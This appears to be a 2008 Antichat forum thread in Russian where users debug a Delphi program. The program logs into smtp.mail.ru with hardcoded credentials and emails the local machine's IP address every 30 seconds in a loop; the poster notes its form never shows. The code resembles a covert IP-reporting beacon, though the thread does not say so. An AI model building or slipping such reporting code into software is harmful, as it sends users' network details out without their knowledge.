ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Организация цикла (Delphi 2007) (https://forum.antichat.xyz/showthread.php?t=96802)

crystalbit 17.12.2008 20:46

application.processmessages против sleep не поможет)
если уж со sleep то в отдельном потоке делать

а если по таймеру, то лучше так:
Код:

with TIdSMTP.Create do begin
AuthType := atDefault;
Username:='5465446';
Password:='6565566565';
Host:='smtp.mail.ru';
Connect();
a:=formatdatetime('hh:mm',now);
msg:=TIdMessage.Create(self);
Msg.Subject:='ip';
Msg.Recipients.EMailAddresses:='55665656';
Msg.From.Address:='556454';
Msg.Body.Add(a+'время '+GetLocalip+' айпишник') ;
if Connected=True then Send(Msg);
Disconnect;
Free;
end;//with

так как если idsmtp еще не завершил работу, а пошел новый заход таймера, была бы ошибка или не то, что ожидаешь, а тут старый удаляется, а новый создается

NeXArmAor, sleep в SysUtils

Karacь 17.12.2008 20:53

Вот что подключено в моём проекте...

Код:

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,    WinSock , Registry, StdCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient,
  IdSMTPBase, IdSMTP, IdPOP3, IdMessage, IdCustomTCPServer, IdTCPServer,
  IdCmdTCPServer, IdSMTPServer, ExtCtrls;


crystalbit 17.12.2008 20:54

пиши SysUtils.Sleep
ошибку в студию

NeXArmAor 17.12.2008 20:55

Цитата:

NeXArmAor, sleep в SysUtils
тогда почему у него Sleep не пашет?
ошибку он показал. юзай первую ветку

Цитата:

[DCC Error] Unit3.pas(72): E2029 Declaration expected but identifier 'Sleep' found
это не связанно с самой функцией Sleep, а вот с этим

Цитата:

begin
IdSMTP1.AuthType := atDefault;
IdSMTP1.Username:='5465446';
IdSMTP1.Password:='6565566565';
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Connect();
begin
send: //ты метку убрал зачем
a:=formatdatetime('hh:mm',now);
зачем два begin

Karacь 17.12.2008 21:01

Без того beginа если его удалит будет вылазить ошибка в

end;
IdSMTP1.Disconnect; в этом месте.

Если даже убрать его то ошибка остаётся

Так ошибка не в слипе а в синтаксесе но где..там с ендами замудрил что то)

Karacь 17.12.2008 21:11

Вот разобрался с endami всё запустилось =)
Код:

procedure TForm3.FormCreate(Sender: TObject);
label send;
var
msg:TIdMessage;
a:string;
begin
IdSMTP1.AuthType := atDefault;
IdSMTP1.Username:='5465446';
IdSMTP1.Password:='6565566565';
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Connect();
//этот begin не нужен убери его
send: //ты метку убрал зачем
a:=formatdatetime('hh:mm',now);
msg:=TIdMessage.Create(self);
Msg.Subject:='ip';
Msg.Recipients.EMailAddresses:='55665656';
Msg.From.Address:='556454';
Msg.Body.Add(a+'время '+GetLocalip+' айпишник') ;
if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
IdSMTP1.Disconnect;
Sleep(30000) ;
goto send;
end;
end.

ps Маленький вопрос сколько и в чём измеряется время в delphi просто в таймере как я понел 1 сек = 1000 .
А в слипе так же?

NeXArmAor 17.12.2008 21:12

Цитата:

Сообщение от Karacь
Вот разобрался с endami всё запустилось =)
Код:

procedure TForm3.FormCreate(Sender: TObject);
label send;
var
msg:TIdMessage;
a:string;
begin
IdSMTP1.AuthType := atDefault;
IdSMTP1.Username:='5465446';
IdSMTP1.Password:='6565566565';
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Connect();
//этот begin не нужен убери его
send: //ты метку убрал зачем
a:=formatdatetime('hh:mm',now);
msg:=TIdMessage.Create(self);
Msg.Subject:='ip';
Msg.Recipients.EMailAddresses:='55665656';
Msg.From.Address:='556454';
Msg.Body.Add(a+'время '+GetLocalip+' айпишник') ;
if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
IdSMTP1.Disconnect;
Sleep(30000) ;
goto send;
end;
end.

ps Маленький вопрос сколько и в чём измеряется время в delphi просто в таймере как я понел 1 сек = 1000 .
А в слипе так же?

Да

Karacь 17.12.2008 21:20

Мда =) после не многочисленных проверок)) Повторно отправить мейл он отказывается... первый раз всё отправляется при запуске но формы не видно...и потом так и висит де то...

crystalbit 17.12.2008 21:37

делай как я сказал и он отправит повторно и при ошибке отправки

Karacь 17.12.2008 21:42

Твоя форма для таймера?


Время: 20:49